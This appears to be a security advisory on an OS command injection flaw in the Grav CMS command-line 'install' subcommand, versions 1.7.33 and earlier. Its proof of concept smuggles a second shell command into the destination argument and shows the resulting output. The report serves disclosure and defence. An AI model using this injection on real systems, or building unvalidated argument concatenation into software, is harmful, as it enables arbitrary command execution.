Description

grav version <= 1.7.33 is vulnerable to OS command injection. The install subcommand from the grav CLI is to install the dependencies needed by Grav, and accepts only the first argument as destination where to install/clone predetermined plugin/theme repositories/dependencies from this subcommand and concatenated without any validation and used by the exec method directly.

Proof of Concept

$ export DEST='x";touch pwned #"'
$ mkdir "$DEST" # to pass dependencies check
$ cp .dependencies .htaccess "$DEST" # to pass dependencies check
$ ./bin/grav install "$DEST"
# ...SNIPPED...
# Cloning Bits
# ============
#
# sh: 1: cd: can't cd to x
# SUCCESS cloned https://github.com/getgrav/grav-plugin-problems -> x";touch pwned #"/user/plugins/problems
#
# sh: 1: cd: can't cd to x
# SUCCESS cloned https://github.com/getgrav/grav-plugin-error -> x";touch pwned #"/user/plugins/error
#
# sh: 1: cd: can't cd to x
# SUCCESS cloned https://github.com/getgrav/grav-plugin-markdown-notices -> x";touch pwned #"/user/plugins/markdown-notices
#
# sh: 1: cd: can't cd to x
# SUCCESS cloned https://github.com/getgrav/grav-theme-quark -> x";touch pwned #"/user/themes/quark
#
$ find . -name "pwned"
./pwned

Found the file is created in the current working directory.

Impact

This issue leads to arbitrary command execution.